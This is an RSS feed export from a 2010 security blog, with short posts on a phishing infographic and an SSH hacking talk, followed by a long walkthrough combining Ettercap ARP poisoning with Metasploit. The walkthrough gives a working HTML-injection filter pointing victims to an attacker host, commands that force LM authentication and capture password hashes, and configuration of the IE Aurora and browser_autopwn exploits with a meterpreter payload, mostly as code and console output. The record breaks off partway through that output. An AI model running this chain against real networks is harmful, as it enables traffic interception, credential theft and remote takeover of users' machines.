<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>H4CKarandas &#187; Artículos</title>
	<atom:link href="http://hackarandas.com/blog/category/articulos/feed/" rel="self" type="application/rss+xml" />
	<link>http://hackarandas.com/blog</link>
	<description>Donde las ideas se dispersan en bytes...</description>
	<lastBuildDate>Wed, 30 Jun 2010 15:00:47 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Infographic: Phishing for Your Money</title>
		<link>http://hackarandas.com/blog/2010/06/30/infographic-phishing-for-your-money/</link>
		<comments>http://hackarandas.com/blog/2010/06/30/infographic-phishing-for-your-money/#comments</comments>
		<pubDate>Wed, 30 Jun 2010 15:00:47 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
				<category><![CDATA[Artículos]]></category>
		<category><![CDATA[Inpfographic]]></category>
		<category><![CDATA[Phishing]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Adrian Puente Z.]]></category>
		<category><![CDATA[Go Banking Rates]]></category>
		<category><![CDATA[hackarandas]]></category>
		<category><![CDATA[infographic]]></category>
		<category><![CDATA[nuevos metodos de spam]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[seguridad informatica]]></category>
		<category><![CDATA[Trusteer]]></category>

		<guid isPermaLink="false">http://hackarandas.com/blog/?p=262</guid>
		<description><![CDATA[Here again with another infographic I found, now on Phishing. I hope you like it as much as I do.

Technorati Tags:hackarandas, adrian puente z., infographic, phishing, gobankingrates.comGenerated By Technorati Tag Generator
Sources:
* http://www.gobankingrates.com/banking/protect-yourself-from-phishers-infographic/
* http://www.trusteer.com/sites/default/files/Phishing-Statistics-Dec-2009-FIN.pdf
Adrián Puente Z.
]]></description>
			<content:encoded><![CDATA[<p>Here again with another infographic I found, now on Phishing. I hope you like it as much as I do.</p>
<p><a href="http://www.gobankingrates.com/banking/protect-yourself-from-phishers-infographic/"><img src="http://hackarandas.com/blog/wp-content/uploads/2010/06/phishing-info-graphic.jpg" alt="" title="Phishing for Your Money" width="500"  class="alignleft size-full wp-image-263" /></a></p>
<p><i><font size="1">Technorati Tags:<a href="http://www.technorati.com/tag/hackarandas" rel="tag">hackarandas</a>, <a href="http://www.technorati.com/tag/adrian puente z." rel="tag">adrian puente z.</a>, <a href="http://www.technorati.com/tag/infographic" rel="tag">infographic</a>, <a href="http://www.technorati.com/tag/phishing" rel="tag">phishing</a>, <a href="http://www.technorati.com/tag/gobankingrates.com" rel="tag">gobankingrates.com</a></font></i><br /><font size="1">Generated By <a href="http://www.gospelrhys.co.uk/" target="_blank">Technorati Tag Generator</a></font></p>
<p>Sources:<br />
* <a href="http://www.gobankingrates.com/banking/protect-yourself-from-phishers-infographic/">http://www.gobankingrates.com/banking/protect-yourself-from-phishers-infographic/</a><br />
* <a href="http://www.trusteer.com/sites/default/files/Phishing-Statistics-Dec-2009-FIN.pdf">http://www.trusteer.com/sites/default/files/Phishing-Statistics-Dec-2009-FIN.pdf</a><br />
<em><strong>Adrián Puente Z.</strong></em></p>
]]></content:encoded>
			<wfw:commentRss>http://hackarandas.com/blog/2010/06/30/infographic-phishing-for-your-money/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SSH Hacking and Good Practices</title>
		<link>http://hackarandas.com/blog/2010/06/11/ssh-hacking-and-good-practices/</link>
		<comments>http://hackarandas.com/blog/2010/06/11/ssh-hacking-and-good-practices/#comments</comments>
		<pubDate>Fri, 11 Jun 2010 15:00:20 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
				<category><![CDATA[Artículos]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Presentaciones]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Adrian Puente Z.]]></category>
		<category><![CDATA[Best Practices]]></category>
		<category><![CDATA[hackarandas]]></category>
		<category><![CDATA[Pauldotcom]]></category>
		<category><![CDATA[SSH]]></category>

		<guid isPermaLink="false">http://hackarandas.com/blog/?p=235</guid>
		<description><![CDATA[  I got to confess that I am a big podcast fan and one I am fond of is PaulDotCom &#8211; Security Weekly (I also hear it while I am jogging) So when I read in the blog the Mark Baggett&#8217;s post: Capturing SSH V1 &#038; V2 Credentials with a MitM ssh honeypot I [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://hackarandas.com/blog/wp-content/uploads/2010/06/ssh.jpg"><img src="http://hackarandas.com/blog/wp-content/uploads/2010/06/ssh.jpg" alt="" title="ssh" width="132" height="208" style="margin: 10px 10px 0pt 0pt; float: left;" /></a>  I got to confess that I am a big podcast fan and one I am fond of is <a href="http://www.pauldotcom.com/security-weekly/">PaulDotCom &#8211; Security Weekly</a> (I also hear it while I am jogging) So when I read in the blog the Mark Baggett&#8217;s post: <a href="http://pauldotcom.com/2010/04/capturing-ssh-v1-v2-credential.html">Capturing SSH V1 &#038; V2 Credentials with a MitM ssh honeypot</a> I just feel like &#8220;I have to try it&#8221;. So I did and wrote this presentation for Sm4rt Security Services&#8217; Tech Day, but I wanted to go further so I wrote it in a way that can be useful for the Pentesters and the Information Security Officers in the company.</p>
<p>In the first part I talk about some basic concepts about SSH then I got for the hacking part so I give a demonstration based on the Mark Baggett&#8217;s post and I finish giving come SSH security tips based on my experience and some articles I found on Internet. I hope you found it interesting.</p>
<p>You can download it from here:</p>
<p><strong><a href="http://hackarandas.com/security-articles/SSH.Hacking.and.Good.Practices-Adrian.Puente.Z.pdf">SSH Hacking and Good.Practices</a></strong> by <strong>Adrian Puente Z.</strong> (PDF Presentation)</p>
<p>Please visit my other <a href="http://hackarandas.com/hacking-projects/">Hacking Projects</a> o <a href="http://hackarandas.com/security-articles/">Security Articles</a>.</p>
<p>If you have something valuable to add to this presentation, please leave your comment.</p>
<p>References:</p>
<ul>
<li><a href="http://en.wikipedia.org/wiki/Secure_Shell">Secure Shell from Wikipedia, the free encyclopedia</a></li>
<li><a href="http://www.redhat.com/docs/manuals/linux/RHL-9-Manual/ref-guide/s1-ssh-conn.html">Red Hat Linux 9: Red Hat Linux Reference Guide, Chapter 18. SSH Protocol</a> </li>
<li><a href="http://pauldotcom.com/2010/04/capturing-ssh-v1-v2-credential.html">Capturing SSH V1 &#038; V2 Credentials with a MitM ssh honeypot by Mark Baggett</a></li>
<li><a href="http://www.cyberciti.biz/tips/linux-unix-bsd-openssh-server-best-practices.html">Top 20 OpenSSH Server Best Security Practices</a></li>
<li><a href="http://www.howtoforge.com/ssh_key_based_logins_putty">Key-Based SSH Logins With PuTTY</a></li>
</ul>
<p>Adrián Puente Z.</p>
<p>Technorati Tags:<br />
<a href="http://technorati.com/tag/Adrian+Puente+Z." rel="tag">Adrian Puente Z.</a> <a href="http://technorati.com/tag/hackarandas" rel="tag">hackarandas</a> <a href="http://technorati.com/tag/SSH" rel="tag">SSH</a> <a href="http://technorati.com/tag/hacking" rel="tag">hacking</a> <a href="http://technorati.com/tag/Man+in+the+Middle" rel="tag">Man in the Middle</a> <a href="http://technorati.com/tag/Best+Practices" rel="tag">Best Practices</a> <a href="http://technorati.com/tag/Security" rel="tag">Security</a></p>
]]></content:encoded>
			<wfw:commentRss>http://hackarandas.com/blog/2010/06/11/ssh-hacking-and-good-practices/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Ettercap + Metasploit &#8211; Helping the Aurora Attack</title>
		<link>http://hackarandas.com/blog/2010/01/28/ettercap-metasploit-helping-the-aurora-attack/</link>
		<comments>http://hackarandas.com/blog/2010/01/28/ettercap-metasploit-helping-the-aurora-attack/#comments</comments>
		<pubDate>Thu, 28 Jan 2010 06:48:17 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
				<category><![CDATA[Artículos]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Adrian Puente Z.]]></category>
		<category><![CDATA[arp poisoning]]></category>
		<category><![CDATA[aurora]]></category>
		<category><![CDATA[browser_autopwn]]></category>
		<category><![CDATA[ettercap]]></category>
		<category><![CDATA[hackarandas]]></category>
		<category><![CDATA[hash]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[smb]]></category>

		<guid isPermaLink="false">http://hackarandas.com/blog/?p=160</guid>
		<description><![CDATA[
I found a nice trick from Fulfor based in another trick from Iron Geek  that I applied in a Pentest using the magical HD Moore&#8217;s Metasploit and his browser_autopwn module and now I am adding the Aurora IE new Metasploit module.
This trick has 3 parts:
The Ettercap Filter
Based on the Irongeek&#8217;s Fun with Ettercap Filters [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://hackarandas.com/blog/wp-content/uploads/2010/01/aurora1-150x150.jpg" style="margin: 10px 10px 0pt 0pt; float: left; width: 120px; height: 134px;" title="Aurora Boreal" alt="" /><br />
I found a nice trick from <a href="http://usefulfor.com/security/2008/06/24/lm-challenge-ettercap-filter/">Fulfor</a> based in another trick from <a href="http://www.irongeek.com/i.php?page=security/ettercapfilter">Iron Geek </a> that I applied in a Pentest using the magical <a href="http://www.metasploit.com/">HD Moore&#8217;s Metasploit</a> and his browser_autopwn module and now I am adding the Aurora IE new Metasploit module.</p>
<p>This trick has 3 parts:</p>
<p><strong>The Ettercap Filter</strong></p>
<p>Based on the Irongeek&#8217;s <a href="http://www.irongeek.com/i.php?page=security/ettercapfilter">Fun with Ettercap Filters</a> and  <a href="http://usefulfor.com/security/2008/06/24/lm-challenge-ettercap-filter/">Bob&#8217;s Fulfor article</a> I am creating the next ettercap filter: </p>
<div class="dean_ch" style="white-space: wrap;"> <span class="co2"># Just copy and paste in you terminal.</span><br />
cat &gt; ch0ks.<span class="me1">browser_autopwn</span>.<span class="me1">attack</span>.<span class="me1">filter</span> &lt;&lt; __END<br />
<span class="kw1">if</span> <span class="br0">&#40;</span>ip.<span class="me1">proto</span> == TCP &amp;&amp; tcp.<span class="me1">dst</span> == <span class="nu0">80</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp;<span class="kw1">if</span> <span class="br0">&#40;</span>search<span class="br0">&#40;</span>DATA.<span class="me1">data</span>, <span class="st0">&quot;Accept-Encoding&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; replace<span class="br0">&#40;</span><span class="st0">&quot;Accept-Encoding&quot;</span>, <span class="st0">&quot;Accept-gnidocnE&quot;</span><span class="br0">&#41;</span>; <br />
&nbsp; &nbsp; &nbsp; <span class="co2"># note: replacement string is same length as original string</span><br />
&nbsp; &nbsp; &nbsp; msg<span class="br0">&#40;</span><span class="st0">&quot;Encoding Taken Care Of&#8230;<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span><br />
<span class="br0">&#125;</span><br />
<span class="kw1">if</span> <span class="br0">&#40;</span>ip.<span class="me1">proto</span> == TCP &amp;&amp; tcp.<span class="me1">src</span> == <span class="nu0">80</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
replace<span class="br0">&#40;</span><span class="st0">&quot;head&gt;&quot;</span>, <span class="st0">&quot;head&gt; &lt;img src=<span class="es0">\&quot;</span>http://192.168.123.3:80/<span class="es0">\&quot;</span>&gt; &lt;img src=<span class="es0">\&quot;</span><span class="es0">\\</span><span class="es0">\\</span>192.168.123.3<span class="es0">\\</span>share<span class="es0">\\</span>pixel.gif<span class="es0">\&quot;</span>&gt;&quot;</span><span class="br0">&#41;</span>;<br />
replace<span class="br0">&#40;</span><span class="st0">&quot;body&gt;&quot;</span>, <span class="st0">&quot;body&gt; &lt;img src=<span class="es0">\&quot;</span>http://192.168.123.3:80/<span class="es0">\&quot;</span>&gt; &lt;img src=<span class="es0">\&quot;</span><span class="es0">\\</span><span class="es0">\\</span>192.168.123.3<span class="es0">\\</span>share<span class="es0">\\</span>pixel.gif<span class="es0">\&quot;</span>&gt;&quot;</span><span class="br0">&#41;</span>;<br />
msg<span class="br0">&#40;</span><span class="st0">&quot;Replacement Filter Ran.<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span></p>
<p>__END</p></div>
<p>The IP string 192.168.123.3:80 is the IP with the port where I have the browser_autopwn module wating for the connection and I am using the head and body tag because I want my attack to  be the first thing they load. Now we compile the code:</p>
<div class="dean_ch" style="white-space: wrap;">
etterfilter -o ch0ks.browser_autopwn.attack.ef ch0ks.browser_autopwn.attack.filter</p>
<p>etterfilter NG<span class="nu0">-0.7</span><span class="nu0">.3</span> copyright <span class="nu0">2001</span><span class="nu0">-2004</span> ALoR &amp; NaGA</p>
<p>
&nbsp;<span class="nu0">12</span> protocol tables loaded:<br />
&nbsp; &nbsp; DECODED DATA udp tcp gre icmp ip arp wifi fddi <span class="kw2">tr</span> eth </p>
<p>&nbsp;<span class="nu0">11</span> constants loaded:<br />
&nbsp; &nbsp; VRRP OSPF GRE UDP TCP ICMP6 ICMP PPTP PPPoE IP ARP </p>
<p>&nbsp;Parsing <span class="kw3">source</span> <span class="kw2">file</span> <span class="st0">&#8216;ch0ks.browser_autopwn.attack.filter&#8217;</span> &nbsp;<span class="kw1">done</span>.</p>
<p>&nbsp;Unfolding the meta-tree &nbsp;<span class="kw1">done</span>.</p>
<p>&nbsp;Converting labels to real offsets &nbsp;<span class="kw1">done</span>.</p>
<p>&nbsp;Writing output to <span class="st0">&#8216;ch0ks.browser_autopwn.attack.ef&#8217;</span> &nbsp;<span class="kw1">done</span>.</p>
<p>&nbsp;-&gt; Script encoded into <span class="nu0">16</span> instructions.<br />
&nbsp;</div>
<p>Now we start the ettercap making the ARP Poisoning attack and injecting the HTML code:</p>
<div class="dean_ch" style="white-space: wrap;">
ettercap -P smb_down -i eth0 -l logfile-`<span class="kw2">date</span> +%F-%s` -m msgfile-`<span class="kw2">date</span> +%F-%s` -T &nbsp;-M arp:remote -F ch0ks.browser_autopwn.attack.ef &nbsp;/<span class="nu0">192.168</span><span class="nu0">.123</span><span class="nu0">.39</span>,<span class="nu0">42</span>,<span class="nu0">33</span>,<span class="nu0">106</span>,<span class="nu0">154</span>/ /<span class="nu0">192.168</span><span class="nu0">.123</span><span class="nu0">.1</span>/<br />
&nbsp;</div>
<p>The commands is running ettercap with the smb_down plugin that forces the connection to be a LM authentication, so it searches for the \\192.168.5.45\share\pixel.gif file that will be waiting the metasploit auxiliary/server/capture/smb module and will be logging the hashes. Also the Ettercap will be logging everything in the logfile and msgfile and making an <a href="http://http://en.wikipedia.org/wiki/ARP_spoofing">ARP Poisoning </a> between the first IPs in // and the second, I really recommend to use a little number of IPs and the Gateway to avoid making a <a href="http://en.wikipedia.org/wiki/Denial-of-service_attack">DoS</a> on the network. The -F is the parameter will load our brand new filter that will inject on the fly HTML code in the traffic between the victims, that&#8217;s why is important to use the gateway.</p>
<p>No we have to start our Metasploit attack. This is not new, I took the idea from <a href="http://usefulfor.com/security/2008/06/24/lm-challenge-ettercap-filter/">Bob&#8217;s Fulfor article</a>. I just gonna update it to work with the Metasploit Framework 3 and add it the browser_autopwn  or the aurora attack. </p>
<p>In the moment I am writting this article I am using the metasploit v3.3.4-dev [core:3.3 api:1.0].</p>
<div class="dean_ch" style="white-space: wrap;">
&nbsp;<br />
<span class="re3"># &nbsp; &nbsp;# ###### ##### &nbsp; ## &nbsp; &nbsp;#### &nbsp;##### &nbsp;# &nbsp; &nbsp; &nbsp; #### &nbsp;# ##### </span><br />
<span class="re3">## &nbsp;## # &nbsp; &nbsp; &nbsp; &nbsp;# &nbsp; &nbsp;# &nbsp;# &nbsp;# &nbsp; &nbsp; &nbsp;# &nbsp; &nbsp;# # &nbsp; &nbsp; &nbsp;# &nbsp; &nbsp;# # &nbsp; # &nbsp; </span><br />
<span class="re3"># ## # ##### &nbsp; &nbsp;# &nbsp; # &nbsp; &nbsp;# &nbsp;#### &nbsp;# &nbsp; &nbsp;# # &nbsp; &nbsp; &nbsp;# &nbsp; &nbsp;# # &nbsp; # &nbsp; </span><br />
<span class="re3"># &nbsp; &nbsp;# # &nbsp; &nbsp; &nbsp; &nbsp;# &nbsp; ###### &nbsp; &nbsp; &nbsp;# ##### &nbsp;# &nbsp; &nbsp; &nbsp;# &nbsp; &nbsp;# # &nbsp; # &nbsp; </span><br />
<span class="re3"># &nbsp; &nbsp;# # &nbsp; &nbsp; &nbsp; &nbsp;# &nbsp; # &nbsp; &nbsp;# # &nbsp; &nbsp;# # &nbsp; &nbsp; &nbsp;# &nbsp; &nbsp; &nbsp;# &nbsp; &nbsp;# # &nbsp; # &nbsp; </span><br />
<span class="re3"># &nbsp; &nbsp;# ###### &nbsp; # &nbsp; # &nbsp; &nbsp;# &nbsp;#### &nbsp;# &nbsp; &nbsp; &nbsp;###### &nbsp;#### &nbsp;# &nbsp; # &nbsp; </span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp;=<span class="br0">&#91;</span> metasploit v3<span class="nu0">.3</span><span class="nu0">.4</span>-dev <span class="br0">&#91;</span>core:<span class="nu0">3.3</span> api:<span class="nu0">1.0</span><span class="br0">&#93;</span><br />
+ &#8212; &#8211;=<span class="br0">&#91;</span> <span class="nu0">324</span> exploits &#8211; <span class="nu0">105</span> auxiliary<br />
+ &#8212; &#8211;=<span class="br0">&#91;</span> <span class="nu0">217</span> payloads &#8211; <span class="nu0">20</span> encoders &#8211; <span class="nu0">6</span> nops<br />
&nbsp; &nbsp; &nbsp; &nbsp;=<span class="br0">&#91;</span> svn r8286 updated today <span class="br0">&#40;</span><span class="nu0">2010.01</span><span class="nu0">.28</span><span class="br0">&#41;</span></p>
<p>msf &gt;</p></div>
<p>For the next modules you need to work with the root account because you need to open priviledges ports like 80, 135 and 445 for the attack to work. I am using Ubuntu Linux Karmic Koala, but you can use the <a href="http://remote-exploit.org/backtrack.html">Backtrack Project</a> for this attack.</p>
<p><strong>NTLM or LM Interception.</strong></p>
<p>We start the attack.</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="kw2">sudo</span> msfconsole <br />
msf &gt; use auxiliary/server/capture/smb<br />
msf auxiliary<span class="br0">&#40;</span>smb<span class="br0">&#41;</span> &gt; <span class="kw1">set</span> &nbsp;LOGFILE Metasploit139.log<br />
LOGFILE =&gt; Metasploit139.log<br />
msf auxiliary<span class="br0">&#40;</span>smb<span class="br0">&#41;</span> &gt; <span class="kw1">set</span> &nbsp;PWFILE Metasploit139.<span class="kw3">pwd</span> <br />
PWFILE =&gt; Metasploit139.<span class="kw3">pwd</span><br />
msf auxiliary<span class="br0">&#40;</span>smb<span class="br0">&#41;</span> &gt; run<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> Auxiliary module execution completed<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> Server started.</p>
<p>msf auxiliary<span class="br0">&#40;</span>smb<span class="br0">&#41;</span> &gt; <span class="kw1">set</span> &nbsp;LOGFILE Metasploit445.log &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br />
LOGFILE =&gt; Metasploit445.log<br />
msf auxiliary<span class="br0">&#40;</span>smb<span class="br0">&#41;</span> &gt; <span class="kw1">set</span> &nbsp;PWFILE Metasploit445.<span class="kw3">pwd</span> <br />
PWFILE =&gt; Metasploit445.<span class="kw3">pwd</span><br />
msf auxiliary<span class="br0">&#40;</span>smb<span class="br0">&#41;</span> &gt; <span class="kw1">set</span> SRVPORT <span class="nu0">445</span> <br />
SRVPORT =&gt; <span class="nu0">445</span><br />
msf auxiliary<span class="br0">&#40;</span>smb<span class="br0">&#41;</span> &gt; run<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> Auxiliary module execution completed<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> Server started.<br />
msf auxiliary<span class="br0">&#40;</span>smb<span class="br0">&#41;</span> &gt; <br />
&nbsp;</div>
<p>I am running the service on both 139 and 445 because in my experience it improves the chances to catch an authentication hash. Now we have to wait and with some luck you sould see something like:</p>
<p>[*] Received 192.168.0.103:2281 MYDOMAIN\LAMEUSER LMHASH:7c83b9be93e202a4be355b75e982144b59bb9f836ec26200 NTHASH:9fc0fba25cb2817441a0ca8c003a4b68da83ef9e72514b2e OS:Windows 2002 2600 Service Pack 1 LM:Windows 2002 5.1</p>
<p>This is good but you can&#8217;t just use that hash to authenticate so you have to crack it using the idea from carnal0wnage&#8217;s blog article: <a href="http://carnal0wnage.blogspot.com/2009/04/using-metasploit-smb-sniffer-module.html">Using the Metasploit SMB Sniffer Module</a> NOTE: The tool halflm_second.rb is in the tools directory inside the Metsploit directory.</p>
<p><strong>Attacking the Browser directly</strong></p>
<p>Now we have to start the browser_autopwn </p>
<div class="dean_ch" style="white-space: wrap;">
msf auxiliary<span class="br0">&#40;</span>smb<span class="br0">&#41;</span> &gt; use windows/browser/ie_aurora &nbsp; &nbsp; <br />
msf exploit<span class="br0">&#40;</span>ie_aurora<span class="br0">&#41;</span> &gt; <span class="kw1">set</span> SRVPORT <span class="nu0">80</span> &nbsp; <br />
SRVPORT =&gt; <span class="nu0">80</span><br />
msf exploit<span class="br0">&#40;</span>ie_aurora<span class="br0">&#41;</span> &gt; <span class="kw1">set</span> URIPATH / &nbsp; &nbsp;<br />
URIPATH =&gt; /<br />
msf exploit<span class="br0">&#40;</span>ie_aurora<span class="br0">&#41;</span> &gt; <span class="kw1">set</span> PAYLOAD windows/meterpreter/bind_tcp <br />
PAYLOAD =&gt; windows/meterpreter/bind_tcp<br />
msf exploit<span class="br0">&#40;</span>ie_aurora<span class="br0">&#41;</span> &gt; show options </p>
<p>Module options:</p>
<p>&nbsp; &nbsp;Name &nbsp; &nbsp; &nbsp; &nbsp;Current Setting &nbsp;Required &nbsp;Description<br />
&nbsp; &nbsp;&#8212;- &nbsp; &nbsp; &nbsp; &nbsp;&#8212;&#8212;&#8212;&#8212;&#8212; &nbsp;&#8212;&#8212;&#8211; &nbsp;&#8212;&#8212;&#8212;&#8211;<br />
&nbsp; &nbsp;SRVHOST &nbsp; &nbsp; <span class="nu0">0.0</span><span class="nu0">.0</span><span class="nu0">.0</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw2">yes</span> &nbsp; &nbsp; &nbsp; The <span class="kw3">local</span> host to listen on.<br />
&nbsp; &nbsp;SRVPORT &nbsp; &nbsp; <span class="nu0">80</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">yes</span> &nbsp; &nbsp; &nbsp; The <span class="kw3">local</span> port to listen on.<br />
&nbsp; &nbsp;SSL &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">false</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;no &nbsp; &nbsp; &nbsp; &nbsp;Negotiate SSL <span class="kw1">for</span> incoming connections<br />
&nbsp; &nbsp;SSLVersion &nbsp;SSL3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; no &nbsp; &nbsp; &nbsp; &nbsp;Specify the version of SSL that should be used <span class="br0">&#40;</span>accepted: SSL2, SSL3, TLS1<span class="br0">&#41;</span><br />
&nbsp; &nbsp;URIPATH &nbsp; &nbsp; / &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;no &nbsp; &nbsp; &nbsp; &nbsp;The URI to use <span class="kw1">for</span> this exploit <span class="br0">&#40;</span>default is random<span class="br0">&#41;</span></p>
<p>
Payload options <span class="br0">&#40;</span>windows/meterpreter/bind_tcp<span class="br0">&#41;</span>:</p>
<p>&nbsp; &nbsp;Name &nbsp; &nbsp; &nbsp;Current Setting &nbsp;Required &nbsp;Description<br />
&nbsp; &nbsp;&#8212;- &nbsp; &nbsp; &nbsp;&#8212;&#8212;&#8212;&#8212;&#8212; &nbsp;&#8212;&#8212;&#8211; &nbsp;&#8212;&#8212;&#8212;&#8211;<br />
&nbsp; &nbsp;EXITFUNC &nbsp;process &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw2">yes</span> &nbsp; &nbsp; &nbsp; Exit technique: seh, thread, process<br />
&nbsp; &nbsp;LPORT &nbsp; &nbsp; <span class="nu0">4444</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">yes</span> &nbsp; &nbsp; &nbsp; The <span class="kw3">local</span> port<br />
&nbsp; &nbsp;RHOST &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;no &nbsp; &nbsp; &nbsp; &nbsp;The target address</p>
<p>
Exploit target:</p>
<p>&nbsp; &nbsp;Id &nbsp;Name<br />
&nbsp; &nbsp;&#8211; &nbsp;&#8212;-<br />
&nbsp; &nbsp;<span class="nu0">0</span> &nbsp; Automatic</p>
<p>msf exploit<span class="br0">&#40;</span>ie_aurora<span class="br0">&#41;</span> &gt; exploit <br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> Exploit running <span class="kw2">as</span> background job.<br />
msf exploit<span class="br0">&#40;</span>ie_aurora<span class="br0">&#41;</span> &gt; <br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> Started <span class="kw3">bind</span> handler<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> Using URL: http://<span class="nu0">0.0</span><span class="nu0">.0</span><span class="nu0">.0</span>:<span class="nu0">80</span>/<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> &nbsp;Local IP: http://<span class="nu0">192.168</span><span class="nu0">.123</span><span class="nu0">.3</span>:<span class="nu0">80</span>/<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> Server started.<br />
&nbsp;</div>
<p>That&#8217;s it now you have to wait so a browser bite the bait and get a meterpreter console. This was about the Aurora new Metasploit&#8217;s module because is the new trend of the night but let&#8217;s face it, it is just part of the big world of the browser attacks. So if you are just lazy you can use the browser_autopwn module:</p>
<div class="dean_ch" style="white-space: wrap;">
msf auxiliary<span class="br0">&#40;</span>browser_autopwn<span class="br0">&#41;</span> &gt; db_driver &nbsp;sqlite3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> Using database driver sqlite3<br />
msf &gt; use server/browser_autopwn<br />
msf auxiliary<span class="br0">&#40;</span>browser_autopwn<span class="br0">&#41;</span> &gt; <span class="kw1">set</span> LHOST <span class="nu0">192.168</span><span class="nu0">.123</span><span class="nu0">.3</span><br />
LHOST =&gt; <span class="nu0">192.168</span><span class="nu0">.123</span><span class="nu0">.3</span><br />
msf auxiliary<span class="br0">&#40;</span>browser_autopwn<span class="br0">&#41;</span> &gt; <span class="kw1">set</span> SRVPORT <span class="nu0">80</span> &nbsp;<br />
SRVPORT =&gt; <span class="nu0">80</span><br />
msf auxiliary<span class="br0">&#40;</span>browser_autopwn<span class="br0">&#41;</span> &gt; <span class="kw1">set</span> URIPATH /<br />
URIPATH =&gt; /<br />
msf auxiliary<span class="br0">&#40;</span>browser_autopwn<span class="br0">&#41;</span> &gt; show options &nbsp;</p>
<p>Module options:</p>
<p>&nbsp; &nbsp;Name &nbsp; &nbsp; &nbsp; &nbsp;Current Setting &nbsp;Required &nbsp;Description<br />
&nbsp; &nbsp;&#8212;- &nbsp; &nbsp; &nbsp; &nbsp;&#8212;&#8212;&#8212;&#8212;&#8212; &nbsp;&#8212;&#8212;&#8211; &nbsp;&#8212;&#8212;&#8212;&#8211;<br />
&nbsp; &nbsp;LHOST &nbsp; &nbsp; &nbsp; <span class="nu0">192.168</span><span class="nu0">.123</span><span class="nu0">.3</span> &nbsp; &nbsp;<span class="kw2">yes</span> &nbsp; &nbsp; &nbsp; The IP address to use <span class="kw1">for</span> reverse-connect payloads<br />
&nbsp; &nbsp;SRVHOST &nbsp; &nbsp; <span class="nu0">0.0</span><span class="nu0">.0</span><span class="nu0">.0</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw2">yes</span> &nbsp; &nbsp; &nbsp; The <span class="kw3">local</span> host to listen on.<br />
&nbsp; &nbsp;SRVPORT &nbsp; &nbsp; <span class="nu0">80</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">yes</span> &nbsp; &nbsp; &nbsp; The <span class="kw3">local</span> port to listen on.<br />
&nbsp; &nbsp;SSL &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">false</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;no &nbsp; &nbsp; &nbsp; &nbsp;Negotiate SSL <span class="kw1">for</span> incoming connections<br />
&nbsp; &nbsp;SSLVersion &nbsp;SSL3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; no &nbsp; &nbsp; &nbsp; &nbsp;Specify the version of SSL that should be used <span class="br0">&#40;</span>accepted: SSL2, SSL3, TLS1<span class="br0">&#41;</span><br />
